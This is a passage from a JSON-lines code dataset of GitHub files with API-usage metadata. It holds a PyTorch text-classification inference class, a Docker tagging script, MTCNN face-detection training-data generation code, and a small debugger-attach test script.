"line_number": 426, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 434, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 437, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 437, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 447, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 447, "usage_type": "name"}]} {"seq_id": "17967292019", "text": "# /usr/bin/python3\r\n# -*- coding: utf-8 -*-\r\n# @Time : 2022/5/26 9:40\r\n# @Author : Shaohd\r\n# @FileName: merge_model.py\r\n\r\n\r\nimport torch\r\nfrom torchtext.data.utils import get_tokenizer\r\nimport models.datasets as datasets\r\nimport numpy as np\r\nfrom models.config import ModelConfig\r\nfrom global_config import *\r\nimport sys\r\n\r\nsys.path.append(source_path)\r\ntokenizer = get_tokenizer(datasets.chinese_tokenizer, language='chn')\r\n\r\n\r\ndef char2index(vocab, token):\r\n try:\r\n return vocab[token]\r\n except:\r\n return 1\r\n\r\n\r\nclass Mergemodel:\r\n\r\n def __init__(self):\r\n self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\r\n self.vocab_file = os.path.join(model_path, 'vocab.pkl')\r\n self.vocab = self.load_vocab()\r\n self.model_file = os.path.join(model_path, 'best_model.pth')\r\n self.model = self.load_model()\r\n self.model.eval()\r\n\r\n def load_vocab(self):\r\n return torch.load(open(self.vocab_file, 'rb'))\r\n\r\n def load_model(self):\r\n return torch.load(self.model_file, map_location=torch.device(self.device))\r\n\r\n def predict(self, text):\r\n text_transform = lambda x: [char2index(self.vocab, token) for token in tokenizer(x)]\r\n softmax = torch.nn.Softmax(dim=1)\r\n row = torch.tensor(text_transform(text.strip()) + [0] * (ModelConfig().max_seq_len - len(text))).to(self.device)\r\n row = torch.unsqueeze(row, 0) # (1, seq_len)\r\n pred = self.model(row) # (1, class_num)\r\n pred = softmax(pred)\r\n pred = np.argmax(pred.detach().to('cpu').numpy()[0])\r\n return pred\r\n\r\n\r\nif __name__ == '__main__':\r\n text = '商务大床房，房间很大，床有2M宽，整体感觉经济实惠不错!'\r\n model = Mergemodel()\r\n print(model.predict(text))", "repo_name": "hongdangshao/onnx-in-NLP", "sub_path": "textcnn_onnx/models/merge_model.py", "file_name": "merge_model.py", "file_ext": "py", "file_size_in_byte": 1784, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torchtext.data.utils.get_tokenizer", "line_number": 17, "usage_type": "call"}, {"api_name": "models.datasets.chinese_tokenizer", "line_number": 17, "usage_type": "attribute"}, {"api_name": "models.datasets", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.Softmax", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 46, "usage_type": "call"}, {"api_name": "models.config.ModelConfig", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.unsqueeze", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 50, "usage_type": "call"}]} {"seq_id": "43059593039", "text": "import argparse\nimport logging\nfrom plumbum.cmd import docker\nfrom .docker_runner import DockerRunner\nfrom .get_taggers_and_manifests import get_taggers_and_manifests\nfrom .github_set_env import github_set_env\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef tag_image(short_image_name: str, owner: str) -> None:\n \"\"\"\n Tags /:latest with the tags reported by all taggers\n for the given image.\n\n Tags are in a GitHub Actions environment also saved to environment variables\n in a format making it easy to append them.\n \"\"\"\n logger.info(f\"Tagging image: {short_image_name}\")\n taggers, _ = get_taggers_and_manifests(short_image_name)\n\n image = f\"{owner}/{short_image_name}:latest\"\n\n with DockerRunner(image) as container:\n tags = []\n for tagger in taggers:\n tagger_name = tagger.__name__\n tag_value = tagger.tag_value(container)\n tags.append(tag_value)\n logger.info(\n f\"Applying tag tagger_name: {tagger_name} tag_value: {tag_value}\"\n )\n docker[\"tag\", image, f\"{owner}/{short_image_name}:{tag_value}\"]()\n\n if tags:\n env_name = f'{short_image_name.replace(\"-\", \"_\")}_EXTRA_TAG_ARGS'\n docker_build_tag_args = \" \".join(\n [f\"-t {owner}/{short_image_name}:{tag}\" for tag in tags]\n )\n github_set_env(env_name, docker_build_tag_args)\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n\n arg_parser = argparse.ArgumentParser()\n arg_parser.add_argument(\n \"--short-image-name\",\n required=True,\n help=\"Short image name to apply tags for\",\n )\n arg_parser.add_argument(\"--owner\", required=True, help=\"Owner of the image\")\n args = arg_parser.parse_args()\n\n tag_image(args.short_image_name, args.owner)\n", "repo_name": "ComputeCanada/ahep_interactive_analysis_facility", "sub_path": "image/kubernetes-image/tagging/tag_image.py", "file_name": "tag_image.py", "file_ext": "py", "file_size_in_byte": 1857, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "get_taggers_and_manifests.get_taggers_and_manifests", "line_number": 21, "usage_type": "call"}, {"api_name": "docker_runner.DockerRunner", "line_number": 25, "usage_type": "call"}, {"api_name": "plumbum.cmd.docker", "line_number": 34, "usage_type": "name"}, {"api_name": "github_set_env.github_set_env", "line_number": 41, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 45, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 45, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 47, "usage_type": "call"}]} {"seq_id": "29713674863", "text": "import os\r\nimport cv2\r\nimport sys\r\nimport numpy as np\r\nimport numpy.random as npr\r\nfrom tqdm import tqdm\r\nfrom preprocess.utils import cal_ious\r\nimport config\r\nfrom preprocess.utils import TestLoader, convert_to_square, gen_data_from_wider\r\nimport pickle\r\nfrom detection.main_detector import MainDetector\r\nfrom detection.sub_detector import SubDetector\r\nfrom preprocess.utils import gen_data_from_wider\r\n\r\n\r\ndef gen_source_ppn_samples():\r\n \"\"\"使用WIDER数据集生成正样本、负样本、部分样本作为PNet的输入\"\"\"\r\n\r\n data = gen_data_from_wider()\r\n num_images = len(data['img_paths'])\r\n print('WIDER训练集中的总图片数： %d' % num_images)\r\n\r\n f_pos = open(config.pnet_pos_img_list, 'w')\r\n f_neg = open(config.pnet_neg_img_list, 'w')\r\n f_part = open(config.pnet_part_img_list, 'w')\r\n\r\n # 记录pos,neg,part三类生成数\r\n id_positive = 0\r\n id_negative = 0\r\n id_part = 0\r\n # 记录读取图片的总数\r\n img_done = 0\r\n\r\n # 遍历每一张图像\r\n for img_id in tqdm(range(num_images)):\r\n\r\n # 获取每一张图像及其真实标注框\r\n img_path = data['img_paths'][img_id]\r\n gt_boxes = np.array(data['gt_boxes'][img_id], dtype=np.float32).reshape(-1, 4)\r\n if gt_boxes.shape[0] == 0:\r\n continue\r\n \r\n # 读取该图像\r\n img = cv2.imread(img_path)\r\n height, width, _ = img.shape\r\n\r\n img_done += 1\r\n num_neg = 0\r\n # 随机采样一定的negative样本\r\n while num_neg <= 50:\r\n # 随机选取一个边长为[12, 图像宽高中的较小值/2)的正方形，正方形的面积一定小于图像的四分之一\r\n size = npr.randint(12, min(width, height) / 2)\r\n # 随机选取左上坐标，并确保以该点为左上角的正方形一定在图像内\r\n nx1 = npr.randint(0, width - size)\r\n ny1 = npr.randint(0, height - size)\r\n\r\n # 构造正方形box\r\n crop_box = np.array([nx1, ny1, nx1 + size, ny1 + size])\r\n # 计算该box与别的gt_boxes的iou值\r\n ious = cal_ious(crop_box, gt_boxes)\r\n # 用构造出来的box截取图片并使用线性插值resize成12x12大小\r\n cropped_img = img[ny1:ny1 + size, nx1:nx1 + size, :]\r\n resized_img = cv2.resize(cropped_img, (12, 12), interpolation=cv2.INTER_LINEAR)\r\n # iou值小于0.3判定为neg样本\r\n if np.max(ious) < 0.3:\r\n save_file = os.path.join(config.pnet_neg_dir, '%s.jpg' % id_negative)\r\n f_neg.write(config.pnet_neg_dir + '/%s.jpg' % id_negative + ' 0\\n')\r\n cv2.imwrite(save_file, resized_img)\r\n id_negative += 1\r\n num_neg += 1\r\n\r\n # 对每个人脸框进行变换，以获得pos、part和neg样本\r\n for gt_box in gt_boxes:\r\n # 获取人脸框的左上右下坐标\r\n gt_x1, gt_y1, gt_x2, gt_y2 = gt_box\r\n gt_w = gt_x2 - gt_x1 + 1\r\n gt_h = gt_y2 - gt_y1 + 1\r\n # 舍去图像过小和box在图片外的图像\r\n if max(gt_w, gt_h) < 20 or gt_x1 < 0 or gt_y1 < 0:\r\n continue\r\n\r\n # 对每个人脸框做5次尺度较大的变换，以获取neg样本\r\n for i in range(5):\r\n # 随机选取一个边长为[12, 图像宽高中的较小值/2)的正方形，正方形的面积一定小于图像的四分之一\r\n size = npr.randint(12, min(width, height) / 2)\r\n # 随机生成的关于x1,y1的偏移量，并且保证x1+delta_x>0,y1+delta_y>0\r\n delta_x = npr.randint(max(-size, -gt_x1), gt_w)\r\n delta_y = npr.randint(max(-size, -gt_y1), gt_h)\r\n # 截取后的左上角坐标\r\n nx1 = int(max(0, gt_x1 + delta_x))\r\n ny1 = int(max(0, gt_y1 + delta_y))\r\n # 排除大于图片尺度的\r\n if nx1 + size > width or ny1 + size > height:\r\n continue\r\n\r\n # 构造正方形box\r\n crop_box = np.array([nx1, ny1, nx1 + size, ny1 + size])\r\n # 计算该box与别的gt_boxes的iou值\r\n ious = cal_ious(crop_box, gt_boxes)\r\n # 用构造出来的box截取图片并使用线性插值resize成12x12大小\r\n cropped_img = img[ny1:ny1 + size, nx1:nx1 + size, :]\r\n resized_img = cv2.resize(cropped_img, (12, 12), interpolation=cv2.INTER_LINEAR)\r\n # iou值小于0.3判定为neg图像\r\n if np.max(ious) < 0.3:\r\n save_file = os.path.join(config.pnet_neg_dir, '%s.jpg' % id_negative)\r\n f_neg.write(config.pnet_neg_dir + '/%s.jpg' % id_negative + ' 0\\n')\r\n cv2.imwrite(save_file, resized_img)\r\n id_negative += 1\r\n\r\n # 每个人脸框做20次尺度较小的变换，以获得pos和part样本\r\n for i in range(20):\r\n # 除去尺度小的图片\r\n if gt_w < 5:\r\n continue\r\n # 缩小随机选取size范围，更多截取pos和part图像\r\n size = npr.randint(int(min(gt_w, gt_h) * 0.8), np.ceil(max(gt_w, gt_h) * 1.25))\r\n # 偏移量，范围缩小了\r\n delta_x = npr.randint(-gt_w * 0.2, gt_w * 0.2)\r\n delta_y = npr.randint(-gt_h * 0.2, gt_h * 0.2)\r\n # 先计算x1+w/2-size/2即左上角坐标，再+delta_x偏移量\r\n nx1 = int(max(gt_x1 + gt_w / 2 - size / 2 + delta_x, 0))\r\n ny1 = int(max(gt_y1 + gt_h / 2 - size / 2 + delta_y, 0))\r\n nx2 = nx1 + size\r\n ny2 = ny1 + size\r\n # 排除超出的图像\r\n if nx2 > width or ny2 > height:\r\n continue\r\n # 构造截取框\r\n crop_box = np.array([nx1, ny1, nx2, ny2])\r\n # 人脸框相对于截取图片的偏移量并做归一化处理\r\n offset_x1 = (gt_x1 - nx1) / float(size)\r\n offset_y1 = (gt_y1 - ny1) / float(size)\r\n offset_x2 = (gt_x2 - nx2) / float(size)\r\n offset_y2 = (gt_y2 - ny2) / float(size)\r\n cropped_img = img[ny1:ny2, nx1:nx2, :]\r\n resized_img = cv2.resize(cropped_img, (12, 12), interpolation=cv2.INTER_LINEAR)\r\n # gt_box扩充一个维度作为iou输入\r\n iou = cal_ious(crop_box, gt_box.reshape(1, -1))\r\n # pos样本\r\n if iou >= 0.65:\r\n save_file = os.path.join(config.pnet_pos_dir, '%s.jpg' % id_positive)\r\n f_pos.write(config.pnet_pos_dir + '/%s.jpg' % id_positive +\r\n ' 1 %.2f %.2f %.2f %.2f\\n' % (offset_x1, offset_y1, offset_x2, offset_y2))\r\n cv2.imwrite(save_file, resized_img)\r\n id_positive += 1\r\n # part样本\r\n elif iou >= 0.4:\r\n save_file = os.path.join(config.pnet_part_dir, '%s.jpg' % id_part)\r\n f_part.write(config.pnet_part_dir + '/%s.jpg' % id_part +\r\n ' -1 %.2f %.2f %.2f %.2f\\n' % (offset_x1, offset_y1, offset_x2, offset_y2))\r\n cv2.imwrite(save_file, resized_img)\r\n id_part += 1\r\n\r\n print('%s 个图片已处理，正样本数量：%s 部分样本数量: %s 负样本数量: %s' % (img_done, id_positive, id_part, id_negative))\r\n f_pos.close()\r\n f_neg.close()\r\n f_part.close()\r\n\r\n\r\ndef gen_hard_examples(input_size):\r\n \"\"\"通过PNet或RNet生成下一个网络的输入\"\"\"\r\n model_paths = [config.pnet_checkpoint_dir,\r\n config.rnet_checkpoint_dir,\r\n config.onet_checkpoint_dir]\r\n detectors = [None, None, None]\r\n detectors[0] = SubDetector(model_paths[0])\r\n\r\n if input_size == 12:\r\n output_size = 24\r\n net_data_dir = config.rnet_data_dir\r\n elif input_size == 24:\r\n output_size = 48\r\n net_data_dir = config.onet_data_dir\r\n detectors[1] = SubDetector(model_paths[1])\r\n else:\r\n print(\"Invalid image size\")\r\n sys.exit(1)\r\n\r\n # 处理后的图片存放地址\r\n neg_dir = os.path.join(net_data_dir, 'negative')\r\n pos_dir = os.path.join(net_data_dir, 'positive')\r\n part_dir = os.path.join(net_data_dir, 'part')\r\n\r\n for dir_path in [neg_dir, pos_dir, part_dir]:\r\n if not os.path.exists(dir_path):\r\n os.makedirs(dir_path)\r\n\r\n # 读取文件的image和box对应函数在utils中\r\n data = gen_data_from_wider()\r\n mtcnn_detector = MainDetector(detectors)\r\n\r\n save_file = os.path.join(net_data_dir, 'detections.pkl')\r\n\r\n if not os.path.exists(save_file):\r\n # 将data制作成迭代器\r\n print('开始识别')\r\n test_data = TestLoader(data['img_paths'])\r\n detecte_results, _ = mtcnn_detector.detect_imgs(test_data)\r\n print('完成识别')\r\n\r\n with open(save_file, 'wb') as f:\r\n pickle.dump(detecte_results, f, 1)\r\n else:\r\n print('已完成识别')\r\n\r\n print('开始生成图像')\r\n save_hard_examples(output_size, data, neg_dir, pos_dir, part_dir, net_data_dir)\r\n\r\n\r\ndef save_hard_examples(output_size, data, neg_dir, pos_dir, part_dir, net_data_dir):\r\n \"\"\"将网络识别的box用来裁剪原图像作为下一个网络的输入\"\"\"\r\n\r\n img_paths = data['img_paths']\r\n all_gt_boxes = data['gt_boxes']\r\n num_images = len(img_paths)\r\n all_pred_boxes = pickle.load(open(os.path.join(net_data_dir, 'detections.pkl'), 'rb'))\r\n \r\n assert len(all_pred_boxes) == num_images, 'ERROR: len(all_pred_boxes) != num_images,'\r\n\r\n if output_size == 24:\r\n f_pos_img_list = open(config.rnet_pos_img_list, 'w')\r\n f_neg_img_list = open(config.rnet_neg_img_list, 'w')\r\n f_part_img_list = open(config.rnet_part_img_list, 'w')\r\n if output_size == 48:\r\n f_pos_img_list = open(config.onet_pos_img_list, 'w')\r\n f_neg_img_list = open(config.onet_neg_img_list, 'w')\r\n f_part_img_list = open(config.onet_part_img_list, 'w')\r\n\r\n neg_cnt, pos_cnt, part_cnt = 0, 0, 0\r\n\r\n for img_path, pred_boxes, gt_boxes in tqdm(zip(img_paths, all_pred_boxes, all_gt_boxes), total=len(img_paths)):\r\n gt_boxes = np.array(gt_boxes, dtype=np.float32).reshape(-1, 4)\r\n\r\n if pred_boxes.shape[0] == 0 or len(gt_boxes) == 0:\r\n continue\r\n img = cv2.imread(img_path)\r\n # 转换成正方形\r\n pred_boxes = convert_to_square(pred_boxes)\r\n pred_boxes[:, 0:4] = np.round(pred_boxes[:, 0:4])\r\n neg_cnt_for_current_img = 0\r\n for pred_box in pred_boxes:\r\n\r\n x_left, y_top, x_right, y_bottom, _ = pred_box.astype(int)\r\n width = x_right - x_left + 1\r\n height = y_bottom - y_top + 1\r\n\r\n # 除去过小的和超出边界的预测框\r\n if width < 20 or x_left < 0 or y_top < 0 or x_right > img.shape[1] - 1 or y_bottom > img.shape[0] - 1:\r\n continue\r\n \r\n ious = cal_ious(pred_box, gt_boxes)\r\n \r\n cropped_im = img[y_top:y_bottom + 1, x_left:x_right + 1, :]\r\n resized_im = cv2.resize(cropped_im, (output_size, output_size),\r\n interpolation=cv2.INTER_LINEAR)\r\n # 保存一定数量的负样本\r\n if np.max(ious) < 0.3 and neg_cnt_for_current_img < 60:\r\n save_file = os.path.join(neg_dir, \"%s.jpg\" % neg_cnt)\r\n f_neg_img_list.write(save_file + ' 0\\n')\r\n cv2.imwrite(save_file, resized_im)\r\n neg_cnt += 1\r\n neg_cnt_for_current_img += 1\r\n # 保存正样本和部分样本\r\n else:\r\n idx = np.argmax(ious)\r\n assigned_gt = gt_boxes[idx]\r\n x1, y1, x2, y2 = assigned_gt\r\n\r\n # 偏移量\r\n offset_x1 = (x1 - x_left) / float(width)\r\n offset_y1 = (y1 - y_top) / float(height)\r\n offset_x2 = (x2 - x_right) / float(width)\r\n offset_y2 = (y2 - y_bottom) / float(height)\r\n\r\n # positive sample\r\n if np.max(ious) >= 0.65:\r\n save_file = os.path.join(pos_dir, \"%s.jpg\" % pos_cnt)\r\n f_pos_img_list.write(save_file + ' 1 %.2f %.2f %.2f %.2f\\n' % (\r\n offset_x1, offset_y1, offset_x2, offset_y2))\r\n cv2.imwrite(save_file, resized_im)\r\n pos_cnt += 1\r\n\r\n # part sample\r\n elif np.max(ious) >= 0.4:\r\n save_file = os.path.join(part_dir, \"%s.jpg\" % part_cnt)\r\n f_part_img_list.write(save_file + ' -1 %.2f %.2f %.2f %.2f\\n' % (\r\n offset_x1, offset_y1, offset_x2, offset_y2))\r\n cv2.imwrite(save_file, resized_im)\r\n part_cnt += 1\r\n\r\n f_neg_img_list.close()\r\n f_part_img_list.close()\r\n f_pos_img_list.close()\r\n\r\n print('图像生成完成')", "repo_name": "roomdestroyer/MTCNN", "sub_path": "preprocess/gen_ppn_data.py", "file_name": "gen_ppn_data.py", "file_ext": "py", "file_size_in_byte": 13250, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "preprocess.utils.gen_data_from_wider", "line_number": 19, "usage_type": "call"}, {"api_name": "config.pnet_pos_img_list", "line_number": 23, "usage_type": "attribute"}, {"api_name": "config.pnet_neg_img_list", "line_number": 24, "usage_type": "attribute"}, {"api_name": "config.pnet_part_img_list", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 39, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 52, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 54, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "preprocess.utils.cal_ious", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "config.pnet_neg_dir", "line_number": 66, "usage_type": "attribute"}, {"api_name": "config.pnet_neg_dir", "line_number": 67, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 85, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 87, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 88, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 97, "usage_type": "call"}, {"api_name": "preprocess.utils.cal_ious", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 102, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "config.pnet_neg_dir", "line_number": 105, "usage_type": "attribute"}, {"api_name": "config.pnet_neg_dir", "line_number": 106, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 116, "usage_type": "name"}, {"api_name": "numpy.ceil", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 118, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 119, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 136, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 136, "usage_type": "attribute"}, {"api_name": "preprocess.utils.cal_ious", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "config.pnet_pos_dir", "line_number": 141, "usage_type": "attribute"}, {"api_name": "config.pnet_pos_dir", "line_number": 142, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "config.pnet_part_dir", "line_number": 148, "usage_type": "attribute"}, {"api_name": "config.pnet_part_dir", "line_number": 149, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 151, "usage_type": "call"}, {"api_name": "config.pnet_checkpoint_dir", "line_number": 162, "usage_type": "attribute"}, {"api_name": "config.rnet_checkpoint_dir", "line_number": 163, "usage_type": "attribute"}, {"api_name": "config.onet_checkpoint_dir", "line_number": 164, "usage_type": "attribute"}, {"api_name": "detection.sub_detector.SubDetector", "line_number": 166, "usage_type": "call"}, {"api_name": "config.rnet_data_dir", "line_number": 170, "usage_type": "attribute"}, {"api_name": "config.onet_data_dir", "line_number": 173, "usage_type": "attribute"}, {"api_name": "detection.sub_detector.SubDetector", "line_number": 174, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 177, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path", "line_number": 181, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path", "line_number": 182, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 186, "usage_type": "call"}, {"api_name": "preprocess.utils.gen_data_from_wider", "line_number": 189, "usage_type": "call"}, {"api_name": "detection.main_detector.MainDetector", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 192, "usage_type": "call"}, {"api_name": "os.path", "line_number": 192, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 194, "usage_type": "call"}, {"api_name": "os.path", "line_number": 194, "usage_type": "attribute"}, {"api_name": "preprocess.utils.TestLoader", "line_number": 197, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 202, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 216, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 216, "usage_type": "call"}, {"api_name": "os.path", "line_number": 216, "usage_type": "attribute"}, {"api_name": "config.rnet_pos_img_list", "line_number": 221, "usage_type": "attribute"}, {"api_name": "config.rnet_neg_img_list", "line_number": 222, "usage_type": "attribute"}, {"api_name": "config.rnet_part_img_list", "line_number": 223, "usage_type": "attribute"}, {"api_name": "config.onet_pos_img_list", "line_number": 225, "usage_type": "attribute"}, {"api_name": "config.onet_neg_img_list", "line_number": 226, "usage_type": "attribute"}, {"api_name": "config.onet_part_img_list", "line_number": 227, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 232, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 236, "usage_type": "call"}, {"api_name": "preprocess.utils.convert_to_square", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 239, "usage_type": "call"}, {"api_name": "preprocess.utils.cal_ious", "line_number": 251, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 254, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 255, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 257, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 258, "usage_type": "call"}, {"api_name": "os.path", "line_number": 258, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 276, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 277, "usage_type": "call"}, {"api_name": "os.path", "line_number": 277, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 284, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 285, "usage_type": "call"}, {"api_name": "os.path", "line_number": 285, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 288, "usage_type": "call"}]} {"seq_id": "14570029000", "text": "import signal\nimport time\nimport os\nimport sys\n\n\ndef import_pydevd(loader_path, port, suspend=False):\n # type: (str, int, bool) -> None\n if \"DEBUG\" in os.environ:\n dir_path = os.path.dirname(os.path.realpath(loader_path))\n filename = os.path.join(dir_path, \"debug.txt\")\n\n if os.path.isfile(filename):\n with open(filename, \"r\") as debug_file:\n pydev_path = debug_file.readline()\n pydev_path = pydev_path.replace('\\n', '')\n\n if True or os.path.exists(pydev_path):\n\n try:\n sys.path.index(pydev_path)\n except:\n sys.path.append(pydev_path)\n print(sys.path)\n\n import pydevd\n pydevd.settrace('localhost', port=port, stdoutToServer=True, stderrToServer=True, suspend=suspend)\n\ndef signal_handler(signum, frame):\n print('Vou desligar em')\n signal.signal(signal.SIGTERM, signal.SIG_DFL)\n os.killpg(0, signal.SIGTERM)\n\ndef main():\n import_pydevd(\"/home/george/projects/fleet-control-device/data/server/bundles/teste/debug.txt\", 9135, False)\n\n signal.signal(signal.SIGTERM, signal_handler)\n count = 0\n while True:\n count = count + 1\n print(str(count) + \". This prints once every 5secs.\")\n\n time.sleep(10)\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "ggodas/pump-reader", "sub_path": "src/teste/teste.py", "file_name": "teste.py", "file_ext": "py", "file_size_in_byte": 1363, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sys.path.index", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "sys.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pydevd.settrace", "line_number": 27, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 31, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 31, "usage_type": "attribute"}, {"api_name": "signal.SIG_DFL", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.killpg", "line_number": 32, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 32, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 37, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 37, "usage_type": "attribute"}, {"api_name": "time.sleep", 